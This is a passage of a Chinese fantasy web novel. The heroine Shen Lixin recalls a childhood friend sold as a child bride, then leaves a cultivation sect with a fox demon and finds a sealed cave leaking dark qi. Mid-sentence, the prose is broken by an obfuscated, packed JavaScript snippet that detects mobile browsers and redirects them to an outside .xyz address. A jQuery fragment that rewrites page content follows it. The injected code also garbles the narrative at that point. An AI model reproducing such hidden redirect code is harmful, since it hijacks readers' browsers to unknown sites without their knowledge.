年仅六岁的沈盼儿坐在榻上。
她对面坐着一个八岁的女孩,正抽抽搭搭地哭着。
沈盼儿看着她,又看了看娘,娘沉默地捏着针线,手中的布衣却许久不曾动过,她问:“娘,为什么孙姐姐要走?”
孙家九岁的姑娘被父母许给了县上一户人家做童养媳,养媳钱用来供孙家哥哥念书。
孙娥从小和这个邻家妹妹玩得好,故来辞别,只是辞着辞着,小姑娘忍不住就委屈地哭了,哭着哭着,又问:“凭什么就要卖了我,去供他念书呢?他要是个有本事的,就自己赚钱去!”
沈盼儿觉得很有道理,可平时最博学广知的娘却不说话,她从榻上站起来,复又挨着娘坐了下来,抢过了她手里的针线,抬起头看着她沉默的脸。
娘,说点什么呀!像你平时说的那样。
人与人之间应该是平等的,有权有势的人不该欺压穷苦的人,丈夫不该打妻子,爹也不应该因为沈盼儿洗衣服把衣服全洗坏了就动手打她。
长者不慈,子女就不必孝。
见娘迟迟不说话,沈盼儿便从她衣服里摸出一方皱巴巴的手帕,递给孙娥,开口道:“姐姐,你跑吧——”
话刚出口,娘就一把捂住了她的嘴,孙娥哭得正兴头,也没听见,扑了上来,三人抱做一团,听她凄凄哀哀地说:“我的命好苦!”
等孙娥哭够了,被孙家阿娘过来提走,沈盼儿盯着她们离开的背影看,问:“娘,为什么?”
为什么孙姐姐要被卖掉,为什么你不让我劝她跑,为什么她不跑呢?
在十二年前,饱读圣贤书的沈馥没能给自己年幼的女儿一个答案,她念得出天下为公、天下大同,可对着血淋漓的世道却束手无策。
在十二年后,沈立心决心自己去寻找那个答案。
“你娘不让你说,你就不说了?”萧钰阴阳怪气道,“这不像你啊。”
沈立心道:“后来我半夜翻墙到孙家去,劝她跑。”
孙娥睡得迷迷糊糊的,被她摇醒,两人走到院子里,沈盼儿对她说:“孙姐姐,你跑吧,不要听你爹娘的话!”
孙娥睁着一双雾朦胧的眼睛看她:“我跑去哪?哪里肯收留我?要是被人牙子拐去了,不比当人家的媳妇惨上千万倍?”
沈盼儿想说怎么会呢,我可以把人牙子都打跑!可话说出不口,她怎么能抛下娘,陪着孙姐姐跑呢,难道把娘也带上?
娘肯定不愿意,娘爱爹爹。
孙娥冰凉凉的手摸了摸她的脸,她说:“盼儿,好妹妹,这大概就是我的命!我的命不好!”
沈盼儿咬牙:“我把你爹娘打一顿,他们定不敢卖你了!他们要是敢卖了你,我就天天来你家打他们!”
孙娥吓了一跳,连忙道:“你怎么说这种话,你怎么打得过我爹娘?而且他们是你的长辈,你要是这么做,村里不会容得下你的!”
沈盼儿不说话了,她在脑海里把这件事重新想了一遍,去打要买孙姐姐的人家行不行?
她还在想,一个冰凉的怀抱就拥住了她,孙娥说:“妹妹,别说这种话了,也许那户人家会对我好的。”
沈盼儿乖巧地被她抱了一会,等孙娥一步三回头地走了,她又翻墙出去,一个人站在了村道上。
她从怀里掏出点火石,走向了村里的私塾。
把私塾烧了,孙哥哥就念不成学,念不成学,当然就不需要钱了。
她会确认私塾里没人再下手的。
但沈盼儿被拦住了。
娘不知什么时候站在了家门口,看着她,视线落在她怀里的点火石上,问:“纵火是大罪,你这一去,从此就抛下娘了,你想好了?”
娘是世界上最了解她的人,娘是待她最好的人,娘也是最残忍的人。
孙娥走了,沈盼儿在家里狠狠哭了一场,她很生气,很难过,最生气的是她什么也做不了。
到底为什么,如此不公,而她如此孱弱无力。
娘抱着她哄了很久,最后等她哭累了,娘说:“盼儿,你和我一点都不一样。”
沈盼儿问:“我是娘的女儿,哪里和娘不一样?”
娘抚摸着她的头,眼睛里的神色很复杂:“你有很多娘没有的东西,那些东西很可贵,娘希望你能一辈子都保持它们。”
沈盼儿听不懂,很多娘说的话她都听不懂,娘说先听着,以后她就会懂。
“盼儿这个名字不好,娘给你换个名字吧。”娘的手暖暖的,擦掉她的眼泪,“你以后叫沈立心,不要告诉你爹,把这个名字记在你的心里,好吗?”
沈盼儿抓住娘的手:“是什么意思?”
“记住你的心,永远不要忘记愤怒和悲伤。”
这些话沈立心当然没有说给萧钰听,狐妖听完孙娥的,颇故事是安静了一会,狐嘴里难得吐出了象牙:“你当时也是个六岁的孩子,你也没办法。”
这狐狸是想安慰她?
沈立心奇怪地扫了他一眼:“故事讲完了,可以帮我带路了吗?”
狐狸尾巴登时狠狠甩了她的脖子两下,还有点疼。
萧钰气急败坏:“往东走!”
岳家亭楼院落修了很多,其实许多是空着无人居住的。弟子们白天大多各做各的工,晚上则忙着修炼,很少有弟子在外面逛。沈立心大摇大摆“逃工”离开,一路顺着萧钰指的方向走。
岳家的亭楼院落都长得大差不差,小道则更是曲径通幽,蜿蜒曲折,有好几次沈立心都差点兜了圈子,萧钰就恼火地拍拍她的肩膀,伸出爪子重新给她指方向。
难得这狐狸如此寡言,沈立心倒有点不习惯了。
她挠了挠白团子的下巴毛,狐狸不情不愿,把头扭过去,不给她摸。
沈立心不知道萧钰闹的是什么脾气,她也管不上了,不远处连绵的花草终于画上句号,被一堵灰白色墙体挡住,一道沉重的木门紧紧锁着。
在那木门前蹲着一个青衣男子,男子听见脚步声,抬起头看向她。
是岳凌飞。
沈立心对这个第一次见面就对她下死手的男人印象深刻,看这情形......少宗主居然亲自守门?
岳凌飞倒不像上次那般横眉冷对,反而站起身,冲她温和地笑了笑:“姑娘这是想出去?”
沈立心点了点头,在她肩膀上的萧钰却炸毛起来,冲着岳凌飞龇牙。
岳凌飞也不恼,他走上前,站在两步开外,在袖子里掏了掏,摸出一把碧绿色的小瓶子:“姑娘,上次对你出手是我的不是。这是我用我种的灵草制成的,这种偏圆的是治跌打损伤的——”
这人挨了她一顿打,现在倒反过来低声下气地给她赔礼道歉?不会是见灵气杀不死她,就想毒死她吧?
沈立心认为此人颇不可理喻,于是不理他,径直走上去,推了那厚重的大门一把,门纹丝不动。
岳凌飞又从怀里掏出一把钥匙:“这门得钥匙才能开,只是出了这门,离最近的仙府也要走上一日,其间皆是罕无人烟的山林,里面偶有逃窜的魑怪与妖族,危险得很......”
意思就是可以出去。
“开门。”
见岳凌飞拧着眉头不动,沈立心耐心告罄,伸手打算直接抢,岳凌飞忙转身开门,一边说:“姑娘,我知道你有奇异之处,但你身上这个可是狐妖,虽则灵力被辞令封住了,可——”
话没说完,萧钰已经扑到他胳膊上,张大尖牙狠狠咬了一口,犹嫌不够,伸出爪子,往岳凌飞的脸上就是狠狠一挠,被岳凌飞慌忙挡住,反手要抓他。
萧钰一甩尾巴,重新跳回沈立心身上,被沈立心一把接住。
萧钰得意洋洋地冲着岳凌飞龇牙。
“你看,姑娘,野兽就是野兽,凶性难改。”岳凌飞捂着冒血的胳膊,想来抓萧钰,又见沈立心把他护在怀里,威胁地盯着他,只得摇了摇头,叹了口气。
“少宗主一见面就想杀我,难道不比这只狐妖可怕?”
她们无冤无仇,陌路相逢,只是因为岳辞令要带她进四方界,岳凌飞就打算致她于死地,这份心狠,在沈立心眼里,比什么“妖族残暴血腥”的传言更值得警惕。
虽然她也不信这狐妖,但岳凌飞明显更不可信。
这两天萧钰给她念书,沈立心也慢慢搞懂了灵气的运行模式。
灵气四溢于天地间,而人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16550076|186800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的身体便如同一个容器。通过修炼,可以吸纳更多的灵气在体内,并将其调度使用。
其中修行不俗者,可如岳辞令一般,只一弹指,便将灵气打出,甚至远远地操控使出的灵气。
而修行尚浅的,想要用灵气攻击别人,就只能通过肢体接触,将灵气灌入另一人的体内,利用灵气猛然冲击的力道杀死对方。
而岳凌飞那天,便是想把灵气打入她的体内杀死她,只可惜她与灵气绝缘,他未能如愿。
初见痛下杀手,再见却态度温和,谁知道这人是打的什么算盘?
岳凌飞脸色惨白,还想再说什么,沈立心却已经一脚踹上沉重的木门。
门“哐当”一声洞开,她抱住怀里张牙舞爪的狐狸,大步离去。
萧钰扭头去看,见岳凌飞抖着手拿出一瓶药,倒出青青绿绿的粉末往伤口上抹,他暗自得意,一时方才的别扭也抛却脑后,甜甜道:“姐姐,我厉不厉害?”
沈立心敷衍地配合:“你真厉害,请这只厉害的狐狸告诉我接下来往哪走。”
萧钰嗅了嗅空气中的味道,原本得意的神色逐渐凝重起来:“好浓的浊气......好强悍的浊气。”
沈立心问:“在哪?”
萧钰指了指。
在连绵的山峰中,深邃的树林里,那道浊气正强烈地波动着。
——————
山林里露重,不过沈立心早就习惯了在泥泞的山路上行走,她脚步自如,倒是萧钰生怕一个不小心跌到泥里,弄脏了他那每天精细打理的雪白皮毛,紧紧扒住了沈立心的肩膀。
他原本想要沈立心抱着他赶路,被沈立心毫不留情地拒绝了。
不满的萧钰还被黑心奴隶主沈立心要求实时转播空气中的浊气情况,他揉了揉鼻子,长时间嗅闻让他的鼻腔很不舒服。
“这浊气很奇怪,时强时弱,似乎有另一种力量在压制它。”萧钰总结道,“很有可能是某个强大的魑怪,因为杀不掉,所以被封印了,我劝你不要自掘坟墓。”
“既然都被封印了,怕什么。”沈立心道,“过去看看,要是打不过就跑。”
胆子不大是吃不上饭的,她年幼时也很害怕山上巨大的野兽,可闭上眼,狠下心,两拳打下去,家里就能吃上好几天肉,多余的肉还能卖钱贴补家用。
萧钰深吸一口气,认真问:“沈立心,你听说过一句俗语吗,叫‘好奇心害死猫’。”
沈立心用力揪他粉红色的耳朵:“别咒我。”
耳朵好痛!
萧钰用爪子拍了回去,恶狠狠道:“你死了,我绝不会给你收尸。”
沈立心正要好好教育一下这只狐狸,脚下却突然踩到了一个硬物。
她蹲下身,从一堆杂草里翻出一本沾满了泥土的书。
书的情况非常惨烈,已经被水湿透,封面被泥土糊住,看不清写了什么,沈立心小心地揭开第一页,看见了异常熟悉的一行字。
“天下武道第一书”。
沈立心眼角抽搐。
原来这书是批发的,这山上有许多本?
萧钰幸灾乐祸:“我就说你是冤大头吧哈哈哈哈哈。”
书脏污得厉害,想要带上吧,就连沈立心都嫌埋汰。她把书合上,打算重新扔回去,萧钰突然道:“等一下,你把它拿近点。”
狐狸仔细闻了闻:“这书上附着浊气,刚才上面的泥土味太重,我一时没闻出来。”
“这是那只魑怪留下的书?”
“或许吧。”
那这魑怪还是个习武的,沈立心警惕起来。
沈立心仔细地打量着周围,顺着萧钰的指引走了几步,忽然看见就在树木掩盖下,一处隐隐约约的山洞里,正疯狂地涌出大量黑气!
沈立心拨开挡住视线的树枝,便见那山洞口被一道道肉眼可见的灵气封住,而那黑气正凶猛地冲击着那灵气组成的复杂封印。
“这能冲开吗?”沈立心问萧钰。
萧钰摇头:“我看悬。”
似乎是听见了他们的交谈声,那黑气突然停住了。
山洞里传来一道颤抖的沙哑女声:“有人在外面吗?”